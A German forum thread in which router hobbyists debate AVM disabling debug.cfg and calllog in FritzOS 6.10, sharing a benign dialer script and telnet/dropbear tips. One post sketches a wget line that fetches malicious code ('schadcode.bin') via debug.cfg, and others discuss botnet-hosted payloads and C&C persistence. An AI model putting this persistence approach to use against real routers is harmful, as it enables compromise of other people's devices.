@AVM: calllog und debug.cfg bei FritzOS 6.10

Ryker

Neuer User
Mitglied seit
26 Jan 2007
Beiträge
104
Punkte für Reaktionen
3
Punkte
18
Man weiß ja, dass AVM hier teilweise mitließt, dewegen nun der extra Thread zu dem Thema calllog und debug.cfg, die beide seit FritzOS 6.10 nicht mehr funktionieren.

Es ist ja gut, dass AVM solche Dinge identifiziert, die externe Programme nachladen können und damit auch potentielle Angriffsflächen für Schad-Programme bieten.
Für die meisten User ist das sicherlich eine Entwicklung in die richtige Richtung, weil diese User sich einmal eingerichtet nie mehr um die Box kümmern.

Nur dann gibt es ja auch noch die Bastler, die die Box deswegen lieben, weil man eben mehr damit machen kann.

Wäre es denn nicht möglich, wenn man das calllog und die debug.cfg per telefonsteuercodes aktivieren könnte ? Also so, wie man auch z.b. den telnet-daemon aktivieren kann.

Gruß
Ryker
 
Oder als Option (ohne Telefonsteuercodes) zum ankreuzen.
Und auf der Hauptseite wird dann angezeigt, welche Änderungen gemacht wurden und dass diese ein Sicherheitsrisiko darstellen könnten.
 
Ja, Telefoncodes sind nicht immer möglich. Nicht jede Fritzbox hat man im direkten Zugriff. Ich richte hier über VPN verbundene Fritzboxen remote ein, für Freunde und Verwandte, die sich mit der Technik nicht auskennen.
Zudem wäre es mal an der Zeit einen SSH und keinen Telnet Zugang anzubieten.
 
Moin

Mit telnet haste aber alle Möglichkeiten offen.
Auch wählen...

dialer.sh
Code:
#!/bin/sh
if [ ${#} -eq 1 ] ; then
ctlmgr_ctl w telcfg command/Dial ${1}
echo -ne $(basename $0)': Dialing '${1}'\n'
else
ctlmgr_ctl w telcfg command/Hangup 1
echo -ne $(basename $0)': Hangup!\n'
return 1
fi
#EOF
Vorrausetzung: Ein Telefoniegerät muss unter...
Telefonie --> Anrufe -Reiter-> Wählhilfe
...eingestellt sein.

Bedienung:
dialer.sh [Telefonnummer]
(wählt Telefonnummer, hebt der Angerufene ab ertönt Haltemusik/sprache und Wählhilfe Telefon klingelt)

dialer.sh
(Ohne Parameter, es wird aufgelegt)

Für Fritz!Box Steuercodes:
dialer.sh '#96*0*'
(In Gänsefüsschen oder Hochkommata, sonst wird die Barke als Kommentarzeichen gewertet)
 
Wenn ich dropbear benutze, kann ich so natürlich den telnetd starten.
:rolleyes:

Andere Möglichkeiten den telnetd zu starten:

1. Der wird über die Kurzwahl realisiert, z.B.: **701 = #96*7*, dann 3.
2. Mit/über Callthrough. Direkt wählen oder die Kurzwahl.
3. Wählhilfe und Kurzwahl anklicken im AVM Webinterface.

Portfreigabe für telnetd hab ich in die ar7.cfg editiert (Kein Standardport).

Ich persönlich benutze telnet zum starten von dropbear.
(Alle zusätzliche Software befindet sich auf USB-Speicher)
Dann brauch ich keinen Code, nur: killall telnetd
Hält bis zum nächsten Reboot. ;)
 
Zuletzt bearbeitet:
Wieder einmal verstehe ich AVM nicht. Die Klimmzüge, über die debug.cfg dauerhaft Prozesse zu starten, zumal solche, die nicht schon auf der Box sind, sind immens. Für eine Drive-by-Infection, wie das gerne bei Windows-Maschinen passiert, aus meinen Augen jedenfalls deutlich zu komplex.

Und die schlechte Presse hat nicht die Möglichkeit von telnet, debug.cfg oder callog gebracht, sondern die Tatsache, daß seit wie lange, fast einem Jahrzehnt?, im AVM-Webserver ein Scheunentor schlummerte. Das, gepaart mit durchaus von Kunden gewünschten Features (wie dem internet-facing SIP-Registrar) waren die Ingredenzien, die zum PR-GAU führten: »Fritzbox-Hack« war in aller Munde, die ach-so-sichere Fritz!Box auf einmal alles, nur nicht mehr sicher.

Und jetzt beginnt man bei AVM mit der Geschichtsknitterung, killt debug.cfg und calllog, für die Tüftler richtig gute Anwendungen gefunden haben? Narf.

Posten kann man hier ja, bringen wird es ... wohl eher nichts. Der Massenmarkt kennt debug.cfg nicht -- und braucht sie auch nicht. Ich bin froh, daß ich hier darüber gelesen habe, denn dann werde ich das 6.10er Update in meine 7490 nicht einspielen. Wozu auch? AVM hat es bis heute nicht hinbekommen, daß über die 7490 als Internet-Gateway und WLAN-AP ein Audiostream länger als 10 Minuten ohne zusammenzubrechen abgespielt wird. (Nun, zumindest hat meine das Problem, mit der heute aktuellen offiziellen FW.) Mit der 7360 hatte ich das Problem nicht, mit der 7570 hatte ich das Problem nicht, mit jener 7360 habe ich das Problem am anderen Standort auch nicht ...

Aber gut, daß AVM jetzt endlich mit der debug.cfg aufräumt, "potentielles Einfallstor für Schadsoftware geschlossen" macht sich in einer Pressemitteilung auch besser als "nach nur 6 Monaten die gröbsten Fehler des Flagschiffes beseitigt". Seufz.
 
Die Klimmzüge, über die debug.cfg dauerhaft Prozesse zu starten, zumal solche, die nicht schon auf der Box sind, sind immens. Für eine Drive-by-Infection, wie das gerne bei Windows-Maschinen passiert, aus meinen Augen jedenfalls deutlich zu komplex.

Was soll daran komplex sein? Es gibt genügend Leute, die das mit Absicht mit ihrer eigenen Box tun, warum sollte es schwieriger sein, das auf einer anderen Box zu tun?
 
... warum sollte es schwieriger sein, das auf einer anderen Box zu tun?
Weil - jedenfalls solange die Authentifizierung erforderlich ist und korrekt arbeitet - man dafür erst einmal einen entsprechenden Zugang zur Fritz!Box benötigt, entweder physisch (Recover/Reset) oder als berechtigter Nutzer, der sich sowohl per GUI, TR-064 als auch per Telnet mit seinem Kennwort ausweisen muß. Wenn dann mit gestohlenen Zugangsdaten die debug.cfg modifiziert wird, liegt die Ursache ja nicht im Vorhandensein der debug.cfg, sondern im Stehlen der Zugangsdaten (bzw. in mangelhafter Absicherung, wie wir es im Februar gesehen haben).
 
Was soll daran komplex sein?

Ergänzend zu dem, was PeterPawn schon ausführte: Aus Sicht des Angreifers: Du brauchst einen Zugang zur Box (telnet ist nicht default). Und Du kannst erst einmal nicht viel speichern auf der Box. Und müßtest erst einmal eruieren, welches Binary Du denn brauchst, was Du ggf. per busybox-wget aus dem Netz nachladen willst aus der debug.cfg; mittlerweile ist AVM ja da -- zum Glück -- auch flexibler als früher. Und dann wäre ein debug.cfg-Parser nicht schlecht, denn eine kaputte debug.cfg oder aus ihr gelöschte Tools würden dem Nutzer auffallen.

Meinetwegen mag die Ausführung von debug.cfg von einem gesetzten PW abhängen (sodaß »telnet fritz.box« als 0815-Einfallstor ausfällt), aber mehr »Schutzbedarf« sehe ich nicht. Und nochmal: Mit dem »Fritzbox-Hack« hatte die debug.cfg nichts zu tun ...
 
Natürlich braucht man einen Zugang zur Box, um die debug.cfg zu erstellen/ändern, und ebenfalls ist klar, dass die Schwachstelle nicht war, dass eine debug.cfg ausgeführt wurde. Ich kann mich auch nicht erinnern, etwas Gegenteiliges geschrieben zu haben.
Oben wurde das Nachladen von Prozessen über debug.cfg als immens aufwendig und komplex bezeichnet, und das ist es meiner Meinung nach nicht. Vermutlich bekommt jemand, der halbwegs motiviert ist, das in einer Stunde hin. Das was PeterPawn geschrieben hat, setzt voraus, dass es keine weitere Lücke dieser Art gibt. Das ist zwar zu hoffen, aber wetten würde ich darauf nicht. Du scheinst auch der gleichen Meinung zu sein. Der Grund, warum AVM die debug.cfg abschalten will ist vermutlich, dass für den Fall, dass noch eine ähnliche Lücke entdeckt wird, die debug.cfg nicht dazu genutzt werden kann, permanent etwas auf der Box nachzuladen. Es geht also nicht darum, dass die Existenz der debug.cfg an sich ein Problem ist, sondern dass für den Fall, dass jemand, der über eine (andere) Sicherheitslücke Zugriff auf die Box bekommt, durch die debug.cfg noch mehr Möglichkeiten bekommt also ohne. Man kann darüber diskutieren, ob das so einen großen Unterschied macht, dass es die Änderung wert ist, aber man sollte dabei nicht argumentieren, dass dieses Ausnutzen übermäßig schwierig wäre, wenn dem nicht so ist.

Zu den von Dir genannten technischen Schwierigkeiten:
Ja, man müsste feststellen, welche Box es ist und welche Binaries dafür gebraucht werden. Das kann man nicht als schwierig bezeichnen.
Man müsste das passende Programm aus dem Internet nachladen. Das ist der schwierigste Teil, aber nicht weil es technisch kompliziert ist, das machen viele. Man muss es von einem Server nachladen, mit dem man nicht in Verbindung gebracht wird. Für jemanden, der ein Botnet betreibt, ist das aber kein Problem, denn derjenige, der massenhaft Fritzboxen scannt, hat bereits ein Botnet und macht das nicht von seinem eigenen Internet Anschluss aus. Also ist das auch kein Problem.
Auch für den Fall, dass schon etwas in der debug.cfg steht, gibt es eine ganz einfache Lösung, und zwar die Datei unverändert zu lassen. Bei über 99% der Boxen ist die Datei leer, da verliert man nicht viel, wenn man auf die Boxen verzichtet, wo das schon etwas drin steht.

Der Vorschlag, das Ausführen der debug.cfg von einem gesetzten Passwort oder Telefonsteuercodes oder sonstigen Einstellungen abhängig zu machen übersieht, dass man damit den Zweck der Änderung aushebelt.
 
Ich gebe Dir insofern recht, als das das Nachladen in der Tat relativ einfach machbar wäre; wget .../schadcode.bin?TYPE=$EXTERNAL_BOX_PARAMS, schon liegt die Last auf Serverseite. Bleibt "nur" noch das Problem des (Shell-) Zuganges zur Box. Da wäre ein Plus an Sicherheit eine Abkehr von 192.168.178.1 und 169.254.1.1 und die Aufgabe von fritz.box (was in Zeiten beliebiger TLDs endlich mal unter eine AVM-gehörende Domain wandern sollte); aber das sind genauso Pflaster auf eine nicht offene Wunde, wie es die Abschaffung von debug.cfg ist. Ich würde telnetd davon abhängig machen, ob ein PW gesetzt ist (grade weil "telnet fritz.box" schon Grundschülern einfallen würde); aber wie schon gesagt, die Diskussion ist müßig: AVM wird tun, was AVM für richtig hält. Nachdem, was ich jüngst bzgl. Freetz "gelernt" habe, ist mir das jetzt auch egal, bis AVM nur noch signierten Code ausführen läßt. Und bis dahin habe ich hoffentlich FTTH mit Medienkonverter, brauche also kein IA-Gerät mehr ;)
 
Das ist zwar zu hoffen, aber wetten würde ich darauf nicht. Du scheinst auch der gleichen Meinung zu sein. Der Grund, warum AVM die debug.cfg abschalten will ist vermutlich, dass für den Fall, dass noch eine ähnliche Lücke entdeckt wird, die debug.cfg nicht dazu genutzt werden kann, permanent etwas auf der Box nachzuladen.
Vielleicht liege ich ja wirklich falsch ... aber ich würde von AVM eher erwarten, daß sie von vorne herein versuchen, "fremde" Zugriffe auf die Box zu verhindern und nicht nur einen (erfolgreichen) Angreifer daran hindern wollen, sich permanent in der Box einzunisten.

Und wenn ein Angreifer wirklich einen Weg zum Eindringen in die Box findet ... wer will ihn dann davon abhalten, die dazu notwendigen Schritte nach einem Neustart der Fritz!Box einfach wieder auszuführen ? Dazu reicht es schon, die DynDNS-Anmeldung zu "faken" und stattdessen die Anmeldung bei einem C&C-Server durchzuführen ... dafür braucht es keine debug.cfg.

Sei's drum ... wenn AVM den daran interessierten Kunden so eine Art "Experten-Modus" (analog zur Experten-Ansicht) zur Verfügung stellen würde (meinetwegen nur bei physischem Zugang zum Gerät erstmals zu aktivieren, z.B. durch gleichzeitiges Drücken der beiden Tasten oder durch Überbrücken von zwei LAN-Anschlüssen mit einem Patch-Kabel beim Booten), wäre sicherlich den "Bastlern" auch geholfen. Wenn aber die Bastler nicht laut aufschreien, wenn ihnen AVM ihr "Spielzeug" wegnimmt, wer soll dann für sie eintreten ?

Der Vorschlag, das Ausführen der debug.cfg von einem gesetzten Passwort oder Telefonsteuercodes oder sonstigen Einstellungen abhängig zu machen übersieht, dass man damit den Zweck der Änderung aushebelt.
Auch wenn ich ebenfalls nichts von einer Aktivierung per Telefoncode o.ä. halte ... es geht doch dem TS gerade darum, daß AVM die Box nicht komplett "verrammeln" soll. Der Einsatz eines Freetz-Images ist eben - sicherlich aus vielen unterschiedlichen Gründen - für viele eine "Hürde" (und damit meine ich nicht einmal eine technische, sondern eher eine Akzeptanz-Hürde - das was in größeren Projekten den social part des change managements ausmacht), die sie nicht so ohne weiteres nehmen wollen.

Und bisher ging das bei AVM's Fritz!OS auch durch die debug.cfg ganz gut. Immerhin ist die sogar "halb-offiziell", weil sich wohl auch AVM's FHEM-Erweiterung dort eingeklinkt hat.

Wenn das jetzt auf einmal wegen des Bug, der ja nach unserer übereinstimmenden Meinung nichts mit der debug.cfg zu tun hatte (ich habe jedenfalls von keinem Fall gehört, wo sich die Angreifer per debug.cfg-Modifikation einen permanenten Zugang zur Box gesichert haben), bei AVM zu einer Reflexreaktion führt, bei der mehr oder weniger alle Zugriffsmöglichkeiten unterhalb eines komplett anderen Images abgeschafft werden, dann ist das sicherlich dem großen Teil der AVM-Kunden egal ... aber das sind eben nicht die Leute, die hier lesen und schreiben und schon gar nicht die Leute, die jemals Freetz benutzen würden.

Was soll denn als nächstes kommen ? Ein Update für EVA, daß nur noch von AVM signierte Firmware eingespielt werden kann ? Wohin das führt und wie wenig erfolgreich das ist, sieht man an der 6360.

Außerdem gibt es noch genug andere mögliche Lücken, um die sich AVM kümmern sollte ... auch wenn sicherlich nicht alle das Potential haben wie diese eine, die durch bloßes "Weglassen" (absichtlich oder versehentlich entdeckt) eines Wertes für das Kompromittieren der kompletten Modellpalette von AVM-Boxen der letzten Jahre verantwortlich war.
 
Da wäre ein Plus an Sicherheit eine Abkehr von 192.168.178.1 und 169.254.1.1 ...
192.168.178.0/24 kannst Du AVM nicht vorwerfen, das läßt sich ja ändern.

Warum aber die Zeroconf-Adresse nicht ebenso wie das Password-Reset per GUI nach 10 Minuten Uptime abgeschaltet werden kann, hat sich mir auch noch nicht erschlossen, also mache ich es per cron-Job selbst.

Ich würde telnetd davon abhängig machen, ob ein PW gesetzt ist (grade weil "telnet fritz.box" schon Grundschülern einfallen würde)
Der Telnetd ist ja schon von einer Aktivierung per Telefoncode (oder dem Laden alter Einstellungen) abhängig. Wer den aktiviert ohne vorher entsprechende Benutzer eingerichtet zu haben, ist auch irgendwie selbst schuld. Noch klarer als es AVM schon tut, kann man auch nicht auf die Notwendigkeit eines Kennworts hinweisen ... alles jenseits des derzeitigen Assistenten wäre ja schon wieder Gängelei.

Und auch ein aktivierter telnetd ist ja nicht per Definition ein Sicherheitsleck ... er wird erst mit Hilfe anderer Lücken zu einem. Andere Stimmen rufen ja sogar danach, den Telnet-Zugang endlich durch SSH zu ersetzen ... in Anbetracht der Tatsache, daß der telnetd in der Busybox quasi automatisch zur Verfügung steht und ein - wie auch immer gearteter - SSH-Server zusätzlich zu warten wäre, sicherlich kein Ansinnen, dem AVM geneigt wäre.
 
Zuletzt bearbeitet:
Holen Sie sich 3CX - völlig kostenlos!
Verbinden Sie Ihr Team und Ihre Kunden Telefonie Livechat Videokonferenzen

Gehostet oder selbst-verwaltet. Für bis zu 10 Nutzer dauerhaft kostenlos. Keine Kreditkartendetails erforderlich. Ohne Risiko testen.

3CX
Für diese E-Mail-Adresse besteht bereits ein 3CX-Konto. Sie werden zum Kundenportal weitergeleitet, wo Sie sich anmelden oder Ihr Passwort zurücksetzen können, falls Sie dieses vergessen haben.